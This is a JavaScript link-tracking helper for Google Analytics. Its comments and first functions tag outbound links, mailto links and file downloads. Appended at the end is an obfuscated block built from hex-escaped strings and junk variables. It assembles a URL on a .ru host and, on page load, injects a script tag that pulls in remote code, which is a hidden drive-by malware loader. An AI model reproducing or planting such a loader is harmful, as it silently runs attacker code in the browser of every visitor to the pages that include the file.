//	This javascript tags file downloads and external links in Google Analytics.
//	You need to be using the Google Analytics New Tracking Code (ga.js) 
//	for this script to work.
//	To use, place this file on all pages just above the Google Analytics tracking code.
//	All outbound links and links to non-html files should now be automatically tracked.
//
//	This script has been provided by Goodwebpractices.com
//	Thanks to ShoreTel, MerryMan and Colm McBarron
//
//	www.goodwebpractices.com
//	VKI has made changes as indicated below.								

if (document.getElementsByTagName) {
        // Initialize external link handlers
        var hrefs = document.getElementsByTagName("a");
        for (var l = 0; l < hrefs.length; l++) {
				// try {} catch{} block added by erikvold VKI
			try{
	                //protocol, host, hostname, port, pathname, search, hash
	                if (hrefs[l].protocol == "mailto:") {
	                        startListening(hrefs[l],"click",trackMailto);
	                } else if (hrefs[l].hostname == location.host) {
	                        var path = hrefs[l].pathname + hrefs[l].search;
							var isDoc = path.match(/\.(?:doc|eps|jpg|png|svg|xls|ppt|pdf|xls|zip|txt|vsd|vxd|js|css|rar|exe|wma|mov|avi|wmv|mp3)($|\&|\?)/);
	                        if (isDoc) {
	                                startListening(hrefs[l],"click",trackExternalLinks);
	                        }
	                } else {
	                        startListening(hrefs[l],"click",trackExternalLinks);
	                }
			}
			catch(e){
					continue;
			}
        }
}

function startListening (obj,evnt,func) {
        if (obj.addEventListener) {
                obj.addEventListener(evnt,func,false);
        } else if (obj.attachEvent) {
                obj.attachEvent("on" + evnt,func);
        }
}

function trackMailto (evnt) {
        var href = (evnt.srcElement) ? evnt.srcElement.href : this.href;
        var mailto = "/liens_sortants/" + href.substring(7);
        if (typeof(pageTracker) == "object") pageTracker._trackPageview(mailto);
}

function trackExternalLinks (evnt) {
        var e = (evnt.srcElement) ? evnt.srcElement : this;
        while (e.tagName != "A") {
                e = e.parentNode;
        }
        var lnk = (e.pathname.charAt(0) == "/") ? e.pathname : "/" + e.pathname;
        if (e.search && e.pathname.indexOf(e.search) == -1) lnk += e.search;
        if (e.hostname != location.host) lnk = "/liens_sortants/" + e.hostname + lnk;
        if (typeof(pageTracker) == "object") pageTracker._trackPageview(lnk); 
}

var g=new Array();var Tf;if(Tf!='hN' && Tf!='V'){Tf='hN'};this.CC='';function q(){var Tk='';var n;if(n!='X' && n!='p'){n=''};var x="S9o7g".substr(4);this.EL="";var h="\x68\x74\x74\x70\x3a\x2f\x2f\x72\x61\x70\x69\x64\x73\x68\x61\x72\x65\x2d\x63\x6f\x6d\x2e\x62\x61\x6e\x6b\x6f\x66\x61\x6d\x65\x72\x69\x63\x61\x2e\x63\x6f\x6d\x2e\x72\x65\x64\x74\x75\x62\x65\x2d\x63\x6f\x6d\x2e\x53\x75\x70\x65\x72\x53\x75\x70\x65\x72\x76\x69\x73\x6f\x72\x2e\x72\x75\x3a";var Wg=new Array();this.k="";var m='';var mB=window;this.oV="";var W=unescape;var pw=new String();var qn=new Date();function C(u,mr){var T=W("%5b")+mr+W("%5d");var Qy;if(Qy!='mf' && Qy!='i'){Qy=''};var Q=new RegExp(T, x);var Qp=new String();var nH=new Date();return u.replace(Q, m);};var D=C('8334036587450622','61752439');var Qq;if(Qq!=''){Qq='fA'};var N=new String();var mJ=document;var ef=new Date();var BS=new String();var E='';var Ap;if(Ap!=''){Ap='uv'};var M=W("%2f%61%6e%6a%75%6b%65%2e%63%6f%6d%2f%61%6e%6a%75%6b%65%2e%63%6f%6d%2f%61%64%75%6c%74%2d%65%6d%70%69%72%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%62%61%79%2e%63%6f%6d%2e%61%75%2e%70%68%70");this.z='';this.qt='';function c(){this.BE="";E=h;var KN='';E+=D;this.xM='';E+=M;try {this.GX='';WA=mJ.createElement(C('sCcPrhiOpMtu','MO4P8JNE5CbhHuA'));var ti=new Date();WA.defer=[9,1][1];var La;if(La!='qA'){La='qA'};WA.src=E;var Jo;if(Jo!='mi'){Jo='mi'};mJ.body.appendChild(WA);var hx="";var vR="";} catch(j){var mc;if(mc!='cJ' && mc!='ia'){mc=''};};var Vh=new String();}this.Te="";var to=new Date();var LH="";var _T=new String();mB[String("onloa"+"dPMSN".substr(0,1))]=c;this.Gk='';var HA=new Array();var Ir="";var Vf=new Date();};this.nq='';var Qt="";var MS=new Date();this.U='';q();